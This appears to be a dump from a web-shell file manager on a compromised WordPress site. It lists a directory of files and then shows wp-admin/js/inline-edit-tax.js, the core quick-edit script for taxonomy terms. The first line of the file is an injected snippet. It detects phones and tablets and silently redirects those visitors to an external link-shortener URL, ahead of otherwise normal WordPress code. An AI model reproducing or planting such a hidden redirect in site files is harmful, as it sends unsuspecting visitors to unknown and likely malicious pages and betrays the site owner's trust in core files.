run:R W Run
DIR
2026-08-24 01:53:39
R W Run
3.08 KB
2026-08-13 20:01:43
R W Run
980 By
2026-08-13 20:01:43
R W Run
6.46 KB
2026-08-13 20:01:43
R W Run
3.17 KB
2026-08-13 20:01:43
R W Run
5.88 KB
2026-08-13 20:01:43
R W Run
2.25 KB
2026-08-13 20:01:43
R W Run
17.76 KB
2026-08-13 20:01:43
R W Run
3.68 KB
2026-08-13 20:01:43
R W Run
9.76 KB
2026-08-13 20:01:43
R W Run
3.62 KB
2026-08-13 20:01:43
R W Run
3.07 KB
2026-08-13 20:01:43
R W Run
1.5 KB
2026-08-13 20:01:43
R W Run
61.48 KB
2026-08-13 20:01:43
R W Run
23.42 KB
2026-08-13 20:01:43
R W Run
3.57 KB
2026-08-13 20:01:43
R W Run
1.39 KB
2026-08-13 20:01:43
R W Run
2.19 KB
2026-08-13 20:01:43
R W Run
288.63 KB
2026-08-13 20:01:43
R W Run
109.91 KB
2026-08-13 20:01:43
R W Run
111.68 KB
2026-08-13 20:01:43
R W Run
47.36 KB
2026-08-13 20:01:43
R W Run
70.26 KB
2026-08-13 20:01:43
R W Run
27.62 KB
2026-08-13 20:01:43
R W Run
27.23 KB
2026-08-13 20:01:43
R W Run
8.87 KB
2026-08-13 20:01:43
R W Run
37.46 KB
2026-08-13 20:01:43
R W Run
15.37 KB
2026-08-13 20:01:43
R W Run
41.82 KB
2026-08-13 20:01:43
R W Run
13.35 KB
2026-08-13 20:01:43
R W Run
44.22 KB
2026-08-13 20:01:43
R W Run
13 KB
2026-08-13 20:01:43
R W Run
7.88 KB
2026-08-13 20:01:43
R W Run
5.63 KB
2026-08-13 20:01:43
R W Run
3.87 KB
2026-08-13 20:01:43
R W Run
40.19 KB
2026-08-13 20:01:43
R W Run
15.37 KB
2026-08-13 20:01:43
R W Run
1.97 KB
2026-08-16 23:28:49
R W Run
20.41 KB
2026-08-13 20:01:43
R W Run
9.58 KB
2026-08-13 20:01:43
R W Run
7.83 KB
2026-08-13 20:01:43
R W Run
3.14 KB
2026-08-13 20:01:43
R W Run
23.31 KB
2026-08-13 20:01:43
R W Run
1.09 KB
2026-08-13 20:01:43
R W Run
645 By
2026-08-13 20:01:43
R W Run
4.98 KB
2026-08-13 20:01:43
R W Run
2.48 KB
2026-08-13 20:01:43
R W Run
1.49 KB
2026-08-13 20:01:43
R W Run
833 By
2026-08-13 20:01:43
R W Run
3.6 KB
2026-08-13 20:01:43
R W Run
1.34 KB
2026-08-13 20:01:43
R W Run
6.82 KB
2026-08-13 20:01:43
R W Run
2.6 KB
2026-08-13 20:01:43
R W Run
61.37 KB
2026-08-13 20:01:43
R W Run
30.28 KB
2026-08-13 20:01:43
R W Run
4.35 KB
2026-08-13 20:01:43
R W Run
1.31 KB
2026-08-13 20:01:43
R W Run
1.52 KB
2026-08-13 20:01:43
R W Run
1.04 KB
2026-08-13 20:01:43
R W Run
7.14 KB
2026-08-13 20:01:43
R W Run
2.56 KB
2026-08-13 20:01:43
R W Run
39.75 KB
2026-08-13 20:01:43
R W Run
19.17 KB
2026-08-13 20:01:43
R W Run
18.71 KB
2026-08-13 20:01:43
R W Run
6.82 KB
2026-08-13 20:01:43
R W Run
10.88 KB
2026-08-13 20:01:43
R W Run
5.25 KB
2026-08-13 20:01:43
R W Run
34.13 KB
2026-08-13 20:01:43
R W Run
18.19 KB
2026-08-13 20:01:43
R W Run
1.07 KB
2026-08-13 20:01:43
R W Run
842 By
2026-08-13 20:01:43
R W Run
13.77 KB
2026-08-13 20:01:43
R W Run
6.54 KB
2026-08-13 20:01:43
R W Run
6.31 KB
2026-08-13 20:01:43
R W Run
2.42 KB
2026-08-13 20:01:43
R W Run
3.42 KB
2026-08-13 20:01:43
R W Run
1.75 KB
2026-08-13 20:01:43
R W Run
11.1 KB
2026-08-13 20:01:43
R W Run
3.22 KB
2026-08-13 20:01:43
R W Run
5.85 KB
2026-08-13 20:01:43
R W Run
2.43 KB
2026-08-13 20:01:43
R W Run
6.17 KB
2026-08-13 20:01:43
R W Run
2.63 KB
2026-08-13 20:01:43
R W Run
25.78 KB
2026-08-13 20:01:43
R W Run
12.04 KB
2026-08-13 20:01:43
R W Run
55.16 KB
2026-08-13 20:01:43
R W Run
26.72 KB
2026-08-13 20:01:43
R W Run
109.59 KB
2026-08-13 20:01:43
R W Run
47.52 KB
2026-08-13 20:01:43
R W Run
18.13 KB
2026-08-13 20:01:43
R W Run
8.03 KB
2026-08-13 20:01:43
R W Run
2.46 KB
2026-08-13 20:01:43
R W Run
898 By
2026-08-13 20:01:43
R W Run
22.77 KB
2026-08-13 20:01:43
R W Run
12.53 KB
2026-08-13 20:01:43
R W Run
7.73 KB
2026-08-13 20:01:43
R W Run
1.71 KB
2026-08-13 20:01:43
R W Run
962 By
2026-08-13 20:01:43
R W Run
680 By
2026-08-13 20:01:43
R W Run
error_log
📄inline-edit-tax.js
1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/**
3 * This file is used on the term overview page to power quick-editing terms.
4 *
5 * @output wp-admin/js/inline-edit-tax.js
6 */
7
8/* global ajaxurl, inlineEditTax */
9
10window.wp = window.wp || {};
11
12/**
13 * Consists of functions relevant to the inline taxonomy editor.
14 *
15 * @namespace inlineEditTax
16 *
17 * @property {string} type The type of inline edit we are currently on.
18 * @property {string} what The type property with a hash prefixed and a dash
19 * suffixed.
20 */
21( function( $, wp ) {
22
23window.inlineEditTax = {
24
25 /**
26 * Initializes the inline taxonomy editor by adding event handlers to be able to
27 * quick edit.
28 *
29 * @since 2.7.0
30 *
31 * @this inlineEditTax
32 * @memberof inlineEditTax
33 * @return {void}
34 */
35 init : function() {
36 var t = this, row = $('#inline-edit');
37
38 t.type = $('#the-list').attr('data-wp-lists').substr(5);
39 t.what = '#'+t.type+'-';
40
41 $( '#the-list' ).on( 'click', '.editinline', function() {
42 $( this ).attr( 'aria-expanded', 'true' );
43 inlineEditTax.edit( this );
44 });
45
46 /**
47 * Cancels inline editing when pressing Escape inside the inline editor.
48 *
49 * @param {Object} e The keyup event that has been triggered.
50 */
51 row.on( 'keyup', function( e ) {
52 // 27 = [Escape].
53 if ( e.which === 27 ) {
54 return inlineEditTax.revert();
55 }
56 });
57
58 /**
59 * Cancels inline editing when clicking the cancel button.
60 */
61 $( '.cancel', row ).on( 'click', function() {
62 return inlineEditTax.revert();
63 });
64
65 /**
66 * Saves the inline edits when clicking the save button.
67 */
68 $( '.save', row ).on( 'click', function() {
69 return inlineEditTax.save(this);
70 });
71
72 /**
73 * Saves the inline edits when pressing Enter inside the inline editor.
74 */
75 $( 'input, select', row ).on( 'keydown', function( e ) {
76 // 13 = [Enter].
77 if ( e.which === 13 ) {
78 return inlineEditTax.save( this );
79 }
80 });
81
82 /**
83 * Saves the inline edits on submitting the inline edit form.
84 */
85 $( '#posts-filter input[type="submit"]' ).on( 'mousedown', function() {
86 t.revert();
87 });
88 },
89
90 /**
91 * Toggles the quick edit based on if it is currently shown or hidden.
92 *
93 * @since 2.7.0
94 *
95 * @this inlineEditTax
96 * @memberof inlineEditTax
97 *
98 * @param {HTMLElement} el An element within the table row or the table row
99 * itself that we want to quick edit.
100 * @return {void}
101 */
102 toggle : function(el) {
103 var t = this;
104
105 $(t.what+t.getId(el)).css('display') === 'none' ? t.revert() : t.edit(el);
106 },
107
108 /**
109 * Shows the quick editor
110 *
111 * @since 2.7.0
112 *
113 * @this inlineEditTax
114 * @memberof inlineEditTax
115 *
116 * @param {string|HTMLElement} id The ID of the term we want to quick edit or an
117 * element within the table row or the
118 * table row itself.
119 * @return {boolean} Always returns false.
120 */
121 edit : function(id) {
122 var editRow, rowData, val,
123 t = this;
124 t.revert();
125
126 // Makes sure we can pass an HTMLElement as the ID.
127 if ( typeof(id) === 'object' ) {
128 id = t.getId(id);
129 }
130
131 editRow = $('#inline-edit').clone(true), rowData = $('#inline_'+id);
132 $( 'td', editRow ).attr( 'colspan', $( 'th:visible, td:visible', '.wp-list-table.widefat:first thead' ).length );
133
134 $(t.what+id).hide().after(editRow).after('<tr class="hidden"></tr>');
135
136 val = $('.name', rowData);
137 val.find( 'img' ).replaceWith( function() { return this.alt; } );
138 val = val.text();
139 $(':input[name="name"]', editRow).val( val );
140
141 val = $('.slug', rowData);
142 val.find( 'img' ).replaceWith( function() { return this.alt; } );
143 val = val.text();
144 $(':input[name="slug"]', editRow).val( val );
145
146 $(editRow).attr('id', 'edit-'+id).addClass('inline-editor').show();
147 $('.ptitle', editRow).eq(0).trigger( 'focus' );
148
149 return false;
150 },
151
152 /**
153 * Saves the quick edit data.
154 *
155 * Saves the quick edit data to the server and replaces the table row with the
156 * HTML retrieved from the server.
157 *
158 * @since 2.7.0
159 *
160 * @this inlineEditTax
161 * @memberof inlineEditTax
162 *
163 * @param {string|HTMLElement} id The ID of the term we want to quick edit or an
164 * element within the table row or the
165 * table row itself.
166 * @return {boolean} Always returns false.
167 */
168 save : function(id) {
169 var params, fields, tax = $('input[name="taxonomy"]').val() || '';
170
171 // Makes sure we can pass an HTMLElement as the ID.
172 if( typeof(id) === 'object' ) {
173 id = this.getId(id);
174 }
175
176 $( 'table.widefat .spinner' ).addClass( 'is-active' );
177
178 params = {
179 action: 'inline-save-tax',
180 tax_type: this.type,
181 tax_ID: id,
182 taxonomy: tax
183 };
184
185 fields = $('#edit-'+id).find(':input').serialize();
186 params = fields + '&' + $.param(params);
187
188 // Do the Ajax request to save the data to the server.
189 $.post( ajaxurl, params,
190 /**
191 * Handles the response from the server
192 *
193 * Handles the response from the server, replaces the table row with the response
194 * from the server.
195 *
196 * @param {string} r The string with which to replace the table row.
197 */
198 function(r) {
199 var row, new_id, option_value,
200 $errorNotice = $( '#edit-' + id + ' .inline-edit-save .notice-error' ),
201 $error = $errorNotice.find( '.error' );
202
203 $( 'table.widefat .spinner' ).removeClass( 'is-active' );
204
205 if (r) {
206 if ( -1 !== r.indexOf( '<tr' ) ) {
207 $(inlineEditTax.what+id).siblings('tr.hidden').addBack().remove();
208 new_id = $(r).attr('id');
209
210 $('#edit-'+id).before(r).remove();
211
212 if ( new_id ) {
213 option_value = new_id.replace( inlineEditTax.type + '-', '' );
214 row = $( '#' + new_id );
215 } else {
216 option_value = id;
217 row = $( inlineEditTax.what + id );
218 }
219
220 // Update the value in the Parent dropdown.
221 $( '#parent' ).find( 'option[value=' + option_value + ']' ).text( row.find( '.row-title' ).text() );
222
223 row.hide().fadeIn( 400, function() {
224 // Move focus back to the Quick Edit button.
225 row.find( '.editinline' )
226 .attr( 'aria-expanded', 'false' )
227 .trigger( 'focus' );
228 wp.a11y.speak( wp.i18n.__( 'Changes saved.' ) );
229 });
230
231 } else {
232 $errorNotice.removeClass( 'hidden' );
233 $error.html( r );
234 /*
235 * Some error strings may contain HTML entities (e.g. `&#8220`), let's use
236 * the HTML element's text.
237 */
238 wp.a11y.speak( $error.text() );
239 }
240 } else {
241 $errorNotice.removeClass( 'hidden' );
242 $error.text( wp.i18n.__( 'Error while saving the changes.' ) );
243 wp.a11y.speak( wp.i18n.__( 'Error while saving the changes.' ) );
244 }
245 }
246 );
247
248 // Prevent submitting the form when pressing Enter on a focused field.
249 return false;
250 },
251
252 /**
253 * Closes the quick edit form.
254 *
255 * @since 2.7.0
256 *
257 * @this inlineEditTax
258 * @memberof inlineEditTax
259 * @return {void}
260 */
261 revert : function() {
262 var id = $('table.widefat tr.inline-editor').attr('id');
263
264 if ( id ) {
265 $( 'table.widefat .spinner' ).removeClass( 'is-active' );
266 $('#'+id).siblings('tr.hidden').addBack().remove();
267 id = id.substr( id.lastIndexOf('-') + 1 );
268
269 // Show the taxonomy row and move focus back to the Quick Edit button.
270 $( this.what + id ).show().find( '.editinline' )
271 .attr( 'aria-expanded', 'false' )
272 .trigger( 'focus' );
273 }
274 },
275
276 /**
277 * Retrieves the ID of the term of the element inside the table row.
278 *
279 * @since 2.7.0
280 *
281 * @memberof inlineEditTax
282 *
283 * @param {HTMLElement} o An element within the table row or the table row itself.
284 * @return {string} The ID of the term based on the element.
285 */
286 getId : function(o) {
287 var id = o.tagName === 'TR' ? o.id : $(o).parents('tr').attr('id'), parts = id.split('-');
288
289 return parts[parts.length - 1];
290 }
291};
292
293$( function() { inlineEditTax.init(); } );
294
295})( jQuery, window.wp );
296